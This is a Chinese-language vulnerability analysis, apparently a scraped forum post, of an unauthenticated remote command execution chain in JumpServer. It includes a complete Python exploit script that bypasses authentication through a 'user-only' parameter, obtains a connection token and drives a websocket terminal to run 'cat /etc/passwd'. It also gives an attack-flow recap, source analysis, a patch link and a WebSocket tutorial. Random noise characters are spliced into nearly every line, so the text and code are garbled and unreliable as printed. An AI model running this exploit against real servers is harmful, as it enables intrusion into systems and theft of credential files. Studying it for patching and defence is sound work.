/ M5 @  T# B+ ]* a: O% s8 G远程命令执行
5 z4 x: X4 }7 e! F' D系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
1 G8 ?; `$ l; W3 S- e$ ~5 T- m$ ?: w8 h/ A  e. y* u
图片# N5 H/ X9 J4 d% y1 Y, }. _5 ]) K0 F* J
- n, Q  |7 s7 a2 @. x) X8 u
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。
  t- {0 q) Q+ n. L2 K! O
& Z: Y9 r- J0 `( J( X! w" m* ~) m0 Yws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e/ H, n0 }% c3 `, h2 l8 [6 M
图片% c' U7 V. `1 B8 X
4 a; T; k0 {, l1 _. U$ ?
借助脚本进行websocket通信, Z3 I9 ~) `$ ]8 u3 y
- A& \% O' s( y! g: [' B+ p
import asyncio/ i' p3 `# j/ g! z1 ~
import websockets
" U; k0 Y/ \. bimport requests
% G; j. K- y# p. Bimport json6 d6 n" `# R7 A" ^
url = "/api/v1/authentication/connection-token/?user-only=None"
2 M+ ~/ l9 ]& u* s1 J0 D; t# 向服务器端发送认证后的消息# v! [% M0 n, @/ d( _2 Y
async def send_msg(websocket,_text):7 O! Q9 a! E4 j! ~( Q1 S. e
    if _text == "exit":( s, y7 ^1 a' i: H  a2 D/ v# P
        print(f'you have enter "exit", goodbye')' x% x5 S: A# @8 a
        await websocket.close(reason="user exit")
$ m' t+ g3 o7 T8 ~1 ^- V3 I% d* j        return False& ?5 h6 O: F! \( H- w8 e+ X" }
    await websocket.send(_text)2 R6 s( n7 e6 c/ x6 b8 I/ u  |
    recv_text = await websocket.recv()  q- h, D- N/ x7 }2 t: i8 ]# l) }
    print(f"{recv_text}")
6 a1 x7 u2 S& ?# F$ ^7 ^9 S6 h+ H# 客户端主逻辑  D7 a; N0 c! ?  }3 g& O9 ^
async def main_logic(cmd):* y) R- s* o0 W/ ^6 N3 z6 D$ B
    print("###start ws")) ?. x& ~3 H- i
    async with websockets.connect(target) as websocket:3 }6 S- q2 Y6 S" h9 r9 V/ i6 m
        recv_text = await websocket.recv()
) y) Z* ^! g2 q- _        print(f"{recv_text}")
- |- }. p( u) C4 U        resws=json.loads(recv_text)9 ?- O6 N, V7 V. R  d  ?: r
        id = resws['id']
1 E& A0 m1 }( o( D# J        print("get ws id:"+id)
* D( h( z, v+ U% U! e+ r1 A        print("#######1########")
& Z' ^5 W# x) J6 l; X        print("init ws")  W. p! ?- k# h( v' e; R( t+ {
        print("#######2########"), n+ j) p! t7 a3 H# d6 a8 z
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"}); ~" p+ ^3 P( p: S
        await send_msg(websocket,inittext)' D- X7 `/ x5 q
        print("########3#######")
, z) E' W, F/ o2 B        print("exec cmd: ls")9 I  _7 K: v6 b6 K: r  l( B
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}). ~% h; s. X2 {
        print(cmdtext)
' K: y6 s7 l/ L( }        await send_msg(websocket, cmdtext)
0 [5 W7 `" k$ s) h: p& e/ _        for i in range(20):' _) e5 h3 F0 @/ J  @" G: L; b, s9 d
            recv_text = await websocket.recv()0 b4 f' N7 L8 K7 v; f' n* M
            print(f"{recv_text}")- {' l$ E5 k/ u- m) c/ o
        print('###finish')
' E% k- t% W8 @+ p0 x; pif __name__ == '__main__':0 q# K8 D7 q, I6 [
    host = "http://192.168.18.182:8080"
4 e% W4 s$ W* b2 N3 c( `+ L    cmd="cat /etc/passwd"" C, l0 c" x1 E  @$ n
    if host[-1]=='/':3 v' P5 z3 L' @6 R0 y! c; f# T
        host=host[:-1]6 }4 Z9 @1 S3 N: |) W4 v" ]
    print(host)- F( {/ K  V' Q) q3 U4 ?
    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",
; z3 a2 ]3 J* p8 ^# D7 O/ A& ^            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}# e- j! O% C/ y0 x5 J# f; t2 n
    print("##################")
+ F  C6 |% {0 c/ K/ l- y. }* f    print("get token url:%s" % (host + url,))6 W* V8 r$ Q- ]
    print("##################")
+ ?8 M3 }9 X5 a: w3 j( s; q+ x    res = requests.post(host + url, json=data); D( ^- [; F; Y1 g
    token = res.json()["token"]
. p( _  p: F2 T4 t    print("token:%s", (token,))
0 \/ C' _" r; V/ ]- x3 m    print("##################")/ R! M* S2 \$ v6 R8 o8 t5 v9 u
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
0 c; C$ [4 U$ m% t* A) \    print("target ws:%s" % (target,))
/ ~" x, \/ J4 G8 }. V    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
3 y3 X/ Y: |3 [7 p成功执行 "cat /etc/passwd" 命令% c% X' r* g" u' f( V6 c; X9 N

% \1 z4 `; K) @, K9 B图片9 B- q* [* h/ d8 E, g4 s- {

9 d- @. g2 F) y% E; X5 }1 Q利用条件
8 T; g8 d+ a+ B2 M* W$ I1.web终端登录方式为免密自动连接。
0 F3 T# m. r5 K! w7 G
8 I( r7 o$ M; ~0 V7 _若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
, G' E* _1 ]' \" Q; B% k9 C% F
8 R6 I1 N" w1 Y2 k; ?图片
' O' ?8 A- ^" g- c4 |; E' x4 E; P
% K: K( p8 B+ c( v当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。/ r: i/ t1 u, {' a
( C1 g3 P. ^5 O, p) J" I
图片1 y$ w, e! O7 W& R, P# C3 `

% ~" `% H1 v1 N& g$ b' T% `只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码6 ~/ A; D) ]7 P2 @7 S2 M
; `2 |' [7 W9 I" E% D  b
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
2 c- d5 o2 G* L" F  x2 f$ i
: Q- \6 R+ `+ Q9 f) O开启自动登录和自动推送。, M( g* l' z# e

+ F* {0 O  B6 y9 \( C! R如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
6 e0 C/ q$ ]9 U8 I5 d
7 Q- M& A! w9 o. |图片
9 w# Q3 N+ ]; K/ \9 i5 E  G+ [6 i. e6 x0 p9 n5 v5 B: \
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。
+ w7 G* w7 t8 ?5 O: [. t* q: l4 d1 l1 Y/ |3 {& _
图片' Z! m) a& r* K9 @

& X1 q+ p( d, Q# z0 @这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。
9 X7 r2 V% `* @/ N$ |* L8 o- q- t9 @8 s
图片
4 K: }* O: U: V* d7 a" v' @3 |6 k, c7 l2 t0 ?/ Q. G3 {8 o, f% h
jumpserver通常的配置都是自动登录的,这一条件容易满足。
( B" O8 a2 a4 L/ @9 ^* S5 W' O- c- {" D& s
2.系统用户在web终端与目标资产建立过连接。
4 W' O$ j5 Z  J4 S% r' a0 D( F8 _$ `; k% d: b. F' b9 y' n( d
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
% w4 X$ L5 |) |" x) i" S& Z+ |" V0 ^& ?0 m6 O- V* {' ?
3.系统日志路径已知; K! Y9 d0 Y9 G; M6 ~

  b. V4 r& ^' b- K8 }1 D* v系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。# y  F) i: w' c8 ^3 @, Z
! e  N2 o/ i6 q1 M+ v# c
攻击流程回顾; i' b" ^& W6 g6 X4 l/ x( w
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件* K' ~! e" w% q* f# h4 Q

, b6 V, U: w/ |+ b0 m2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)* v- a# e) U( C1 J, z

9 F) }% `5 {" G. X* c7 r3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
, d5 j/ f6 ?* O, r( }
% ^7 I3 J! a! u- h4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。
7 A; [$ |! R3 \/ A" |& {9 ^
6 i- n( I+ y" D6 y0 x5 c& I图片
( s, P2 R  o( u, a2 c* `3 K* i% d' L; J( ~! [: j* L$ e5 t
0x03漏洞分析5 s& n/ Q9 g5 ?+ I( L, J
日志文件读取* h9 d  p& A: c# ?3 W
读取日志文件的接口为ws/ops/tasks/log/
  E0 l% x: C, N" M5 C/ Y5 N- q, J+ i2 a1 s; {1 s& n
图片% e$ x3 }  c6 V, f; i  D. v# P

) F1 p, e9 P: ?" W: G' e6 S分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证8 p* e# a+ F. x/ _, s

9 e& A4 A( Z  |% x2 U图片
3 s2 G9 |3 U) P' K
% j8 L( z' |. d+ U7 ^receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task(), i) l% A: s+ J3 F* f
0 Y1 H, S; h* r. M+ P- V* Y
图片  |. O3 U+ u! z' `1 z/ x2 N8 B
/ l; ^! `5 D& l
self.handle_task(task_id)( v% A$ F6 t& |+ h
; k+ D) F8 b% V
-->self.read_log_file(self,task_id)( m" e+ V+ N! {4 T' b0 d0 f4 z
8 q' d" U, K+ x& l' u
-->self.wait_util_log_path_exist(task_id)9 m; E' U* g! h/ Q. U
- i4 r0 E. R6 b) h& O
--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
# Q2 D3 R* G3 e2 M! q# p2 R$ T! p& q
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。% E. p* T7 P. r

) B) O, g/ Q# @图片1 W0 ?! h5 y8 d9 }& g: B

! I: j* D: V5 w* Z  g当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。3 Y. L6 i: x% l# {+ D; X4 v

0 F' ?, u8 ~" ~- N! g5 N+ p% E图片
# J5 Y' m0 r& m# d. J* w& q: G  p( W  s& f3 W
图片3 V( l5 t# l$ v9 s9 X( D
/ Z  {4 P- \9 d0 A
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到( l% e5 v# z9 k( Q1 j

3 D9 ^: S/ K$ i2 c* g4 d( W! {1 T" q6 h图片
$ ~6 }$ I* }( ^( \4 i& {- [
, S, h! S. A; n* E+ N# h  _绕过身份验证获取token( X; Z  ]7 t7 B0 H
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。" g9 M; V: J9 r0 K8 M) M' t

6 [) `$ i: w0 M/ {- I图片
; y/ W& R- v) }
" A( e5 u) Y2 _4 \2 A分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
1 I& K: W4 o, X9 g" k) }8 n: J# X' E, W# h& [3 j# G: I# a
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。7 h$ O9 s1 }' f$ _! k
) p' X5 P; k4 R9 t, _6 Z
图片, R. g& f: J2 w: n
1 ~' y% U% i1 J" d" R; B
post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。3 Q2 f6 m  y: K0 [8 c
* N' n3 g- d. o& e9 @
图片: b; n& {  Z+ I
# w% u5 e& E3 y
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处# M6 v9 w! c! F* g

# H& _* f: u5 q6 I& _图片
' }0 u: t  m5 [2 u9 M3 T3 `+ ]. j% r3 }' L
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
' _! t+ V6 {+ s& L- a" ^/ u# c& d* Q( ]3 [- N6 w
/api/v1/authentication/connection-token/0 M0 x' h/ N. s* e* r7 o. l7 c
/api/v1/users/connection-token/& ]) P( ^! o0 C8 O7 x, F
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/lu ... pp/services/http.ts! Y( V$ F" |' P$ E( {9 D2 r
- |9 \7 V( u9 ?: T7 j2 S3 W
图片
& i5 J$ J, k, W/ E% i2 x* g& v' _# C' i( j. ?
websocket建立TTY终端会话
7 C  L4 g3 M7 N# b4 @% L5 U这个漏洞是通过websocket通信建立TTY终端,从而执行命令。& t7 \) C" y% o, M+ u" X$ S

0 u8 q2 G. \: o" z8 p% O- SJumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
4 R9 ^# F+ Q9 C4 n- ~5 W6 t7 I+ k2 z" o  z( N. a1 h5 u
https://github.com/jumpserver/koko# Q. A( m/ E; K4 R) S+ z9 E! T

) Q" M7 J- O2 j' ]/ {建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现# @( M" o3 E' l4 i' {
% K9 [4 X+ h" E6 C/ u/ o+ Q. ?4 Y
图片
- x; F) ^7 }5 v9 j8 d0 L  W5 a6 T0 B5 ?9 X; C
只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法
3 ?( y6 d( t+ Z7 K- Q. U2 G; \) H* M+ P
图片
3 Z: G) B; Q. \3 {0 S) y, F0 M0 y0 O; c# b; d
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
( l5 b' @3 v+ d3 r0 H
9 u2 l0 S. F0 T- H, u8 K图片9 ?1 P1 g) g1 S6 m" n$ [& |$ g% ?

- d* e6 ~3 P  o& g  [  V+ g/koko/ws/terminal/+ {. A9 S( D4 R6 x. P  L0 d
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
! B1 A9 o) t* z+ w2 ?0 G, s, e- W) j2 W, o6 r' |8 E1 k3 l
图片6 m+ O/ D. i+ z
5 K5 Y4 q- n( Z& ^# `$ F: F7 i" t- l
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
/ @0 t" K# B% s) {: A( u2 E进行websocket通信
( y$ g; J" q2 K; @( ~$ G+ j+ b7 q3 b+ ~
图片
- Y7 U% H* W' ~9 n: E8 O+ B- S$ R( E# p+ _+ ?+ v
processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。% u# @. W- B& ^7 D& A! l# X

, `0 h# H8 u* }1 a: y$ T) s! E注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。
. a& ^7 _; O2 D, B4 E( m; W# ^
/ m- r% m1 v9 D7 S; `: F5 U8 \图片& ^% B0 p! L9 j& M) X" z  k, o

7 U( k! `  R# D系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
) k. Y5 c/ k' l( c! A7 U* [( g9 l5 \/ o  O% F4 Q% }: U
注意到 /koko/ws/token/ 接口却是无此类限制的。
5 L$ u. m1 B( z* t% b8 _. e2 j/ g0 _  E, V8 H! J7 ]; M4 T% S
图片
. i  E$ V  h3 H* b7 @
! d4 ?, R) w6 W& N% U  f; [/koko/ws/token/
+ F0 P; g8 A. }7 a8 w: x/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。
) c1 l. `# W- L" t' B; i3 o( j
: G$ [* B2 M3 x: c! Q& p) Q图片
4 Q/ d& M" L7 t. }& x  j) q4 M8 u  n" ]% y2 i) u
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
( S  k: L& y4 o" @7 Q
# X8 T/ f, c7 k) s& u9 p图片% Z* y; m( l$ x
+ Z  l$ f# H) E" n3 |8 e2 A
图片
4 O8 ~2 o' G( v* X, }. j/ [/ s, Y
! R+ M; e- A# ]! e) `上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。$ H. M  _2 r1 }  F2 F9 ^9 t& S' a# L

, N: \% s" o/ U3 q) y" F图片
9 C/ G& K/ g$ |4 E% z, K2 M0 j3 d( _- x# F6 Q
本次通信则是仅携带有效token,从而获取该用户所有身份信息。
9 i! m- o5 I' l# ]( [; w1 `) |* j
  ]* }4 x0 `+ B8 f3 \( _图片
; T3 I' ^& V0 K
" M. \( |+ Y+ o' y* V7 _/ `综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
) N7 t3 P' L! s# U) q% w
, K% Q( |2 E) o$ N; |ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d9 U% G* M8 A$ k$ H" a$ i
{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}* B! k$ A3 Q$ X9 Y
{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}1 o/ ]" x7 D  K! g' o$ m5 a7 m
图片
" {- Y) E4 e# _& _
/ N( D% p0 Q! X" K7 q9 H/ g- r& D而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。, `0 @% Q5 [1 x+ g) b
/ `% B8 l) p: N) z
补丁分析, q7 Y5 h: \7 o$ ]
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。+ G% x0 N+ z4 {' S$ T. B

' y' f+ o2 Y# o) A( Z( }* a7 D- Mhttps://github.com/jumpserver/ju ... d1ccf19d683ed3af71e
4 X" Q! i2 m8 E' Z7 _: e$ l; |
; V' v$ {# [. G图片+ {  y2 F* T4 |3 ?
" A: s1 @) b3 T4 h* r0 i
0x04关于websocket
; v3 o$ Y& t, ~& KWebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。% d+ E/ h! Z  M- [9 t3 W+ Q7 P
8 c4 v# K6 {, N' Y; `; j0 t
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。  V9 H! d  l) A5 I* j+ A
3 ]% {1 F3 V' [5 ?' Q" a. r) |
WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。
4 i! N. m( O$ k$ Z8 i& C/ W0 t5 F+ r7 y0 M
WebSocket特点:* q/ S' Q/ x2 x! K

9 h8 o  V: D0 Z, P, }1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。8 ~/ p+ i+ b) ?! s# T( D* M3 n4 _# x. B
* y$ _3 p3 O5 X  O8 ?
2.可以发送文本,也可以发送二进制数据。
0 q5 P( p' a* G. R+ q- e  A% x1 a. S1 p* B8 B. x2 T1 s/ m
3.没有同源限制,客户端可以与任意服务器通信。; o; N- f4 I8 {& ]  I
% f. n0 a) M8 Y" l; z  l) ?
4.协议标识符是ws(如果加密,则为wss)' v: x8 X  ]3 G
/ S& g$ T0 C6 V: e
WebSocket通信
. h( }/ M- f& M* P4 E( K- wWebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。
) o0 ^, J2 ]5 J( C
1 ^7 \. Y+ k3 E2 N- r9 S1 T2 x" R图片; v( N$ B$ v- t. H- f

3 G: o& n' F3 G- @建立连接
0 f9 X% p1 V; d( S2 c9 }客户端请求报文:' b5 Z6 i6 ]3 @7 j+ n8 @8 H. A

% B0 p+ d0 T4 ?- _2 W0 fGET / HTTP/1.1
% x- q" C6 @" u$ V; G$ JUpgrade: websocket
. O' |+ l9 p; b0 V  a# FConnection: Upgrade5 T1 j/ R" C, M. _  P" `7 m! V
Host: example.com
! E$ A# t5 E4 V2 O2 }: l; bOrigin: http://example.com
0 d1 F1 G# C" lSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
) }& |* O9 i8 E& d) g  c$ r- tSec-WebSocket-Version: 13; W  d  v/ J+ r& v# `
Connection、Upgrade字段声明需要切换协议为websocket5 X: ^! e" W; M, }9 Y  s. i! H* ]
Sec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。
: _  t3 d: d% a5 l; e5 T8 NSec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
9 z# q4 P& P5 d! _- R& i3 M: u0 K( g8 J6 @% @3 x6 }, O. `% w! p
服务端的响应报文:- D" c$ _3 E& l6 v  T$ m
4 ]: M' H% b9 L+ T: h
HTTP/1.1 101 Switching Protocols
  W& h7 ^. c5 S* V( DUpgrade: websocket$ f7 [8 \+ H& i  f8 x
Connection: Upgrade2 I! N; }9 `9 a+ C$ w
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=  q2 g$ p& E7 L- \
Sec-WebSocket-Protocol: chat: P% _/ S' \2 K4 }
Upgrade消息头通知客户端确认切换协议来完成这个请求;
& {, v; q- f* r% q/ l- L; t
) D* B# q+ }1 Y' w1 [# H% x' P: x0 XSec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;9 r0 @* X. |. N& p3 _; W

8 l) H. n0 R2 M' A) |Sec-WebSocket-Protocol则是表示最终使用的协议。
2 N& I. ~' A% b# s2 t$ w
  u- U: Q9 }7 r: e; L/ p: k) V注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。. _$ ^3 w1 y+ ^  L' w

7 t% A  b% I2 \: p0 J! a进行通信
" l" o) W. y4 }  A/ F0 `服务端接收到客户端发来的Websocket报文需要进行解析。
: E* i% ]9 [; i+ m# y- I" `* Y3 W; q5 [: a0 `7 G
数据包格式/ G: C" S# r. b" H

5 j+ A$ G  q# N: r1 l图片' ^. e8 R: B  V4 b

8 C% A5 q3 J; Q1 QMask位表示是否要对数据载荷进行掩码异或操作。
$ x1 A8 b! a9 p! M* Z0 g( [# L1 L7 ^. h) z/ m
Payload length表示数据载荷的长度。; S7 V6 j" N& R* l% T# d' z" y
2 _$ A. N- N1 c
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。1 E* c* ~; ~  @
: _+ n  g; L5 B
Payload Data为载荷数据。1 W7 m/ f7 q/ n5 ~" d' f( s

5 \0 ^" G2 i9 u  U0 z服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
5 g& e( O* J. l& y: M
. ~4 u/ x1 T- c) z2 B心跳
/ M9 g9 Y5 x$ }- ?. V$ p: vWebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。/ S6 L/ ~9 Z: u$ a$ I0 O

1 x9 w2 O' e6 T发送方->接收方:ping0 ^2 X$ B- e- m4 }& P. ~& [
( I3 V1 k3 K! F' J) H& I& q3 |& V
接收方->发送方:pong3 g( X9 ]' }6 Z$ L% C5 t9 r
0 ?# f' \$ F+ k1 j. \
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。6 {5 ^6 \- g( v/ s' a& R
* D* r3 O) P6 v+ f# \- o6 A
关闭连接; O/ d  T( h' Y) q3 }( E$ Q
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
" U0 I5 W- F& z+ m+ r/ i; C' C+ P) Q# b3 x
Web Terminal实现
1 ?, ~9 M% D' B; V6 i通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。% P9 h4 ?, X! @! ^& Z

7 B% }# R0 u/ F' c1 V& @终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。6 {1 _9 ~& {# i$ ^' h' t
- J- H+ U/ ?! b1 d4 b% B% @2 G; M$ E
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
; \& _9 E5 V  l- z& Z4 ?
: q9 O. \# q, l! W+ U, u实现思路:! D/ i0 j& M  {( a

1 \- {, c  T; @2 H2 g1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道3 \" }1 J+ N& A' h5 ~
2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel5 u8 t9 w( S6 k  f
3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
7 H( l6 c, d  v& C4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。
* \$ s4 p$ X0 T; b$ Z, X9 W5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal
( b$ B6 E) B0 h/ y
, M8 ]# h& }% a7 t) e; ]图片
6 o! D! _- K4 f; A9 T& z& |- Q% W5 l/ h8 X& D& t
JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。
# Y7 ?% [. Y" d5 i1 o& |$ M! n# Z$ T$ ], Z3 {
图片& x+ S/ Y- ?8 Y- U, n: r2 ^, G

  K$ J2 v5 ~- w9 Q携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议1 S# ^& }3 H/ z, v1 {, Y" [

' q# t5 V# b3 V! ~. PGET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1& m2 d/ r& A8 p+ q; ^! G5 \: P
Host: 192.168.18.182:8080) A% p& ?5 d: u3 b: K" M* A* W5 d
Connection: Upgrade3 t" ^  \, ]% e. Q6 x0 b, h
Pragma: no-cache
- B! C7 k4 R8 g4 m. C2 I- [# NCache-Control: no-cache
4 z! b8 j$ a7 ~$ T8 n/ A& |; tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36. `% S! P& A( r' ]: h& w# X5 Y
Upgrade: websocket
$ t; d9 P  [$ N' y0 M& @4 o1 ROrigin: http://192.168.18.182:8080
9 @4 c+ T/ b6 S4 b0 I( o7 Z# ?Sec-WebSocket-Version: 139 a! m' {- _5 j, t5 _5 w
Accept-Encoding: gzip, deflate
  j  o& ], M+ k$ a! {4 LAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
! {0 ^, T; s/ h" R2 e- ^. w( oCookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=1462 F  v# C$ t# ]
Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==4 w6 P. \! k$ O" G* ?: B, y2 y
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits9 Q+ ^6 _- v, J2 V% n' B* W3 k3 m
Sec-WebSocket-Protocol: JMS-KOKO
  E4 \$ V* g9 V: j6 H* t. d* G服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。( a! t+ D. y" y5 e5 a) U3 g$ j, \
- b/ d4 @* U& l* c; R
HTTP/1.1 101 Switching Protocols
; v9 q5 U. `3 U0 E" ^7 v2 i! N5 JServer: nginx
3 ]4 D1 G1 c- ~& u+ iDate: Mon, 01 Feb 2021 17:29:47 GMT
  C' T& Y6 Z) H" R5 T, NConnection: upgrade
